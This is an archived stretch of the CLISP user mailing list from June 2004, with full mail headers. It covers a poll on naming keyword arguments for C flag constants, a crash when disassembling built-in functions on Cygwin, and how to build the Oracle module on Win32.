List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 06:13:02 2004 X-Original-Date: Tue, 22 Jun 2004 09:58:37 -0400 Suppose a function FOO-BAR in module ZOT calls a function foo_bar() in library zot.so. Function foo_bar() expects a flags argument - an OR of zero or more CPP constants ZOT_BAZONK, ZOT_FOO_SLONG, ZOT_FEP_BLICKET. These flags are passed to ZOT:FOO-BAR as boolean keyword arguments. The question is: how should these keyword arguments be named? 1. :ZOT_BAZONK :ZOT_FOO_SLONG :ZOT_FEP_BLICKET most obvious, but not too lispy, and somewhat longish. 2. :BAZONK :FOO_SLONG :FEP_BLICKET shorter, but not too lispy either 3. :BAZONK :FOO-SLONG :FEP-BLICKET looks best and the most lispy opinions? -- Sam Steingold (http://www.podval.org/~sds) running w2k Booze is the answer. I can't remember the question. From bruno@clisp.org Tue Jun 22 07:26:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BcmEP-0005b9-Ns for clisp-list@lists.sourceforge.net; Tue, 22 Jun 2004 07:26:37 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BcmEP-0003SH-0E for clisp-list@lists.sourceforge.net; Tue, 22 Jun 2004 07:26:37 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i5MEQN2k009382; Tue, 22 Jun 2004 16:26:23 +0200 (MET DST) Received: from skymaple.honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i5MEQHWW020289; Tue, 22 Jun 2004 16:26:18 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by skymaple.honolulu.ilog.fr (Postfix) with ESMTP id 9F6631BB44; Tue, 22 Jun 2004 14:16:48 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200406221616.47446.bruno@clisp.org> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: keyword argument naming poll Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 06:13:02 2004 X-Original-Date: Tue, 22 Jun 2004 16:16:47 +0200 Sam wrote: > The question is: how should these keyword arguments be named? > > 1. :ZOT_BAZONK :ZOT_FOO_SLONG :ZOT_FEP_BLICKET > most obvious, but not too lispy, and somewhat longish. > > 2. :BAZONK :FOO_SLONG :FEP_BLICKET > shorter, but not too lispy either > > 3. :BAZONK :FOO-SLONG :FEP-BLICKET > looks best and the most lispy > > opinions? I would vote for 3, if the symbols have no property specific to ZOT. If there is such a property, for example you want to have the symbol-value reflect the numerical value of the CPP constant or if they are part of a FFI:DEF-C-ENUM, then they cannot be keywords: 4. ZOT:BAZONK ZOT:FOO-SLONG ZOT:FEP-BLICKET Bruno From sds@gnu.org Tue Jun 22 08:59:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BcngG-0005RY-GO for clisp-list@lists.sourceforge.net; Tue, 22 Jun 2004 08:59:28 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BcngG-00087B-32 for clisp-list@lists.sourceforge.net; Tue, 22 Jun 2004 08:59:28 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5MFwtVd013078; Tue, 22 Jun 2004 11:58:56 -0400 (EDT) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200406221616.47446.bruno@clisp.org> (Bruno Haible's message of "Tue, 22 Jun 2004 16:16:47 +0200") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <200406221616.47446.bruno@clisp.org> Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: keyword argument naming poll Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 06:13:03 2004 X-Original-Date: Tue, 22 Jun 2004 11:58:55 -0400 > * Bruno Haible [2004-06-22 16:16:47 +0200]: > > Sam wrote: >> The question is: how should these keyword arguments be named? >> >> 1. :ZOT_BAZONK :ZOT_FOO_SLONG :ZOT_FEP_BLICKET >> most obvious, but not too lispy, and somewhat longish. >> >> 2. :BAZONK :FOO_SLONG :FEP_BLICKET >> shorter, but not too lispy either >> >> 3. :BAZONK :FOO-SLONG :FEP-BLICKET >> looks best and the most lispy >> >> opinions? > > I would vote for 3, if the symbols have no property specific to > ZOT. If there is such a property, for example you want to have the > symbol-value reflect the numerical value of the CPP constant or if > they are part of a FFI:DEF-C-ENUM, then they cannot be keywords: > > 4. ZOT:BAZONK ZOT:FOO-SLONG ZOT:FEP-BLICKET I thought about it. On one hand, it is nice to export as much as possible. On the other hand, these numeric values cannot be used in any way. there is also another issue: DEFCHECKER in modprep.lisp. right now is follows [1]. I guess if we switch to [3], it would need to be changed. Note also mixed-case constants like "AF_DECnet" in sys/socket.h (DEFCHECKER converts AF_DECnet to :AF_DECNET) -- Sam Steingold (http://www.podval.org/~sds) running w2k The paperless office will become a reality soon after the paperless toilet. From elvin_peterson@yahoo.com Wed Jun 23 10:44:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdBnl-0006Ga-21 for clisp-list@lists.sourceforge.net; Wed, 23 Jun 2004 10:44:49 -0700 Received: from web52208.mail.yahoo.com ([206.190.39.90]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BdBnk-0003CE-N8 for clisp-list@lists.sourceforge.net; Wed, 23 Jun 2004 10:44:48 -0700 Message-ID: <20040623174443.30554.qmail@web52208.mail.yahoo.com> Received: from [202.83.43.130] by web52208.mail.yahoo.com via HTTP; Wed, 23 Jun 2004 10:44:43 PDT From: Elvin Peterson To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] clisp crashing on disassemble Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 06:13:04 2004 X-Original-Date: Wed, 23 Jun 2004 10:44:43 -0700 (PDT) Hello, clisp crashes when disassemble commands are run on some functions after hanging for a while. [39]> (disassemble #'mod) lisp.exe: No such file or directory. I am dumped back on the bash prompt after this. I am using clisp on cygwin in win2k. $ clisp --version GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [10.0.19.22]) Software: GNU C 3.3.1 (cygming special) ANSI C program TIA. __________________________________ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail From jeff@public.nontrivial.org Wed Jun 23 17:46:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdINP-0006zw-59 for clisp-list@lists.sourceforge.net; Wed, 23 Jun 2004 17:46:03 -0700 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BdINO-0003gL-R5 for clisp-list@lists.sourceforge.net; Wed, 23 Jun 2004 17:46:02 -0700 Received: from localhost (localhost [127.0.0.1]) (uid 503) by public.nontrivial.org with local; Wed, 23 Jun 2004 19:40:44 -0500 From: wolfjb@bigfoot.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="utf-8" Content-Transfer-Encoding: 7bit Message-ID: X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] clsql, oracle, etc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 06:13:04 2004 X-Original-Date: Wed, 23 Jun 2004 19:40:44 -0500 (general disclaimer: I'm a bit new to common lisp in general and clisp specifically - I'm perfectly willing to rtfm if it can be pointed out... :) I have been reading the implementation notes for clisp (2.33.1) and it mentions oracle as a module distributed with clisp. Just wondering how to go about finding out if it is installed. *features* doesn't seem to list any sql or db related packages. I need this on a win32 machine, unfortunately can't be linux. Can anyone point me in the right direction? Thanks, Jeff From pascal@informatimago.com Thu Jun 24 06:52:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdUe1-0005Q0-Sm for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 06:52:01 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BdUe0-0007HU-Oa for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 06:52:01 -0700 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id CFF95586E3; Thu, 24 Jun 2004 15:51:51 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1711D51D42; Thu, 24 Jun 2004 15:54:51 +0200 (CEST) Message-ID: <16602.56619.14430.779391@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Subject: [clisp-list] Re: keyword argument naming poll In-Reply-To: References: <200406221616.47446.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 06:53:00 2004 X-Original-Date: Thu, 24 Jun 2004 15:54:51 +0200 Sam Steingold writes: > > * Bruno Haible [2004-06-22 16:16:47 +0200]: > > > > Sam wrote: > >> The question is: how should these keyword arguments be named? > >> > >> 1. :ZOT_BAZONK :ZOT_FOO_SLONG :ZOT_FEP_BLICKET > >> most obvious, but not too lispy, and somewhat longish. > >> > >> 2. :BAZONK :FOO_SLONG :FEP_BLICKET > >> shorter, but not too lispy either > >> > >> 3. :BAZONK :FOO-SLONG :FEP-BLICKET > >> looks best and the most lispy > >> > >> opinions? > > > > I would vote for 3, if the symbols have no property specific to > > ZOT. If there is such a property, for example you want to have the > > symbol-value reflect the numerical value of the CPP constant or if > > they are part of a FFI:DEF-C-ENUM, then they cannot be keywords: > > > > 4. ZOT:BAZONK ZOT:FOO-SLONG ZOT:FEP-BLICKET > > I thought about it. > On one hand, it is nice to export as much as possible. > On the other hand, these numeric values cannot be used in any way. I'd agree if it was numeric arguments. (That would even be: 5. ZOT:+BAZONK+ ZOT:+FOO-SLONG+ ZOT:+FEP-BLICKET+ But instead of writting: (zot:foo-bar (+ ZOT:+BAZONK+ ZOT:+FEP-BLICKET+)) Sam wants to write: (zot:foo-bar :BAZONK t :FEP-BLICKET nil) So I guess the best is indeed to put them in KEYWORD and option 3 is tastier. -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From pascal@informatimago.com Thu Jun 24 06:58:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdUk2-0006C2-SI for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 06:58:14 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BdUk2-00053a-6I for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 06:58:14 -0700 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id ED7CC586E3; Thu, 24 Jun 2004 15:58:07 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id B319F51D42; Thu, 24 Jun 2004 16:01:06 +0200 (CEST) Message-ID: <16602.56994.678043.126194@thalassa.informatimago.com> To: wolfjb@bigfoot.com Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] clsql, oracle, etc In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 06:59:05 2004 X-Original-Date: Thu, 24 Jun 2004 16:01:06 +0200 wolfjb@bigfoot.com writes: > (general disclaimer: I'm a bit new to common lisp in general and clisp > specifically - I'm perfectly willing to rtfm if it can be pointed out... :) > > > I have been reading the implementation notes for clisp (2.33.1) and it > mentions oracle as a module distributed with clisp. Just wondering how to go > about finding out if it is installed. *features* doesn't seem to list any > sql or db related packages. I need this on a win32 machine, unfortunately > can't be linux. Can anyone point me in the right direction? Obviously, you'd need to compile the oracle module on your win32. That means that you need the Oracle libraries (dll?) for win32. Assuming you have those, and assuming they export the same API than in unix, I don't see any impediment to compile the oracle module in clisp on win32. -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From hin@van-halen.alma.com Thu Jun 24 07:01:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdUmx-0006Og-9l for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 07:01:15 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BdUmv-0000iW-Of for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 07:01:13 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 84CEF10E27A; Thu, 24 Jun 2004 10:01:09 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i5OE19Ek016265; Thu, 24 Jun 2004 10:01:09 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i5OE19RZ016262; Thu, 24 Jun 2004 10:01:09 -0400 Message-Id: <200406241401.i5OE19RZ016262@van-halen.alma.com> From: "John K. Hinsdale" To: wolfjb@bigfoot.com Cc: clisp-list@lists.sourceforge.net In-reply-to: (wolfjb@bigfoot.com) Subject: Re: [clisp-list] clsql, oracle, etc X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 07:02:04 2004 X-Original-Date: Thu, 24 Jun 2004 10:01:09 -0400 > I have been reading the implementation notes for clisp (2.33.1) and it > mentions oracle as a module distributed with clisp. Just wondering how > to go about finding out if it is installed. Hi Jeff, here is the answer about the Oracle module as it pertains to CLISP distributions: you MIGHT be able to use it on Windows, but you would definitely only be able to do so if you compiled CLISP yourself. The CLISP source distribution comes w/ the _source code_ to the Oracle module, but any pre-built CLISP will very probably not have the Oracle module built into them, because no one (that I am aware of) who is supplying pre-built binary CLISPs has the Oracle client software development environment to build it. All of this means if you want to use Oracle for CLISP you'll need to compile build your own. Note that to compile the CLISP Oracle module you need to have YOUR OWN COPY of the Oracle client software libraries and headers, specifically the Oracle "OCI" interface. Until Larry Ellison goes GPL ;) obviously CLISP cannot not ship w/ Oracle products included. You mentioned you are on Win32, not Unix. The only platform Oracle has been compiled on has been Linux, however it should really work on any Unix. As for Win32, the CLISP module docs mention that Unix-like modules should transport well to Win32 when using the Cygwin or MinGW compatibility stuff. If you are using these things you may just be able to compile and link CLISP w/ the Oracle module on Win32. But the bad news is that if you are desirous to use a pre-built CLISP, which it sounds like you are, and cannot or do not wish to compile your own, then you will not be able to use Oracle. I have Win32 however I don't do much development on it. At the same time, I realize CLISP is popular choice for Win32,so perhaps I can see if I can setup things to build an Oracle-enabled CLISP for Win32. I think as long as I do not statically link Oracle code I should be OK w/ licensing issues but I would of course have to research that. That would not happen anytime soon, though. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From hin@van-halen.alma.com Thu Jun 24 07:07:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdUsi-0007BI-RS for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 07:07:12 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BdUsh-0001zd-00 for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 07:07:11 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 6B45810E219; Thu, 24 Jun 2004 10:07:09 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i5OE79Ek016353; Thu, 24 Jun 2004 10:07:09 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i5OE79s0016350; Thu, 24 Jun 2004 10:07:09 -0400 Message-Id: <200406241407.i5OE79s0016350@van-halen.alma.com> From: "John K. Hinsdale" To: pjb@informatimago.com Cc: wolfjb@bigfoot.com, clisp-list@lists.sourceforge.net In-reply-to: <16602.56994.678043.126194@thalassa.informatimago.com> (pjb@informatimago.com) Subject: Re: [clisp-list] clsql, oracle, etc X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 07:08:04 2004 X-Original-Date: Thu, 24 Jun 2004 10:07:09 -0400 > From: "Pascal J.Bourguignon" > Date: Thu, 24 Jun 2004 16:01:06 +0200 > Obviously, you'd need to compile the oracle module on your win32. > That means that you need the Oracle libraries (dll?) for win32. > Assuming you have those, and assuming they export the same API than in > unix, I don't see any impediment to compile the oracle module in clisp > on win32. Yes, everything Pascal says is accurate, with the exception of the part about the need to compile the module being obvious ;) The CLISP docs say "modules included with the distribution" however it is not unreasonable for an optimistic type to infer from that as meaning "modules included with the binary distribution", i.e., you will get those features in a pre-built binary. Maybe the docs should just say "modules included in the source distribution". Also, until Oracle module actually runs on Win32 it should have a Unix-only disclaimer. I suppose. From sds@gnu.org Thu Jun 24 08:16:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdVxK-0005M3-FR for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:16:02 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BdVxJ-0006aH-VK for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:16:02 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i5OFFm3x006733; Thu, 24 Jun 2004 11:15:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Elvin Peterson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040623174443.30554.qmail@web52208.mail.yahoo.com> (Elvin Peterson's message of "Wed, 23 Jun 2004 10:44:43 -0700 (PDT)") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <20040623174443.30554.qmail@web52208.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp crashing on disassemble Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 24 08:17:00 2004 X-Original-Date: Thu, 24 Jun 2004 11:15:48 -0400 > * Elvin Peterson [2004-06-23 10:44:43 -0700]: > > clisp crashes when disassemble commands are run on > some functions after hanging for a while. > > [39]> (disassemble #'mod) > lisp.exe: No such file or directory. > > I am dumped back on the bash prompt after this. I am > using clisp on cygwin in win2k. these are built-in functions written in C. disassembling them requires attaching a debugger to the running CLISP process. detaching kills the process on w2k and earlier (it is alleged that it does not kill it on xp). > GNU CLISP 2.33 (2004-03-17) fixed in 2.33.1. -- Sam Steingold (http://www.podval.org/~sds) running w2k Growing Old is Inevitable; Growing Up is Optional. From sds@gnu.org Thu Jun 24 08:21:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BdW2q-0005mT-0Z for clisp-list@lists.sourceforge.net; Thu, 24 Jun 2004 08:21:44 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] 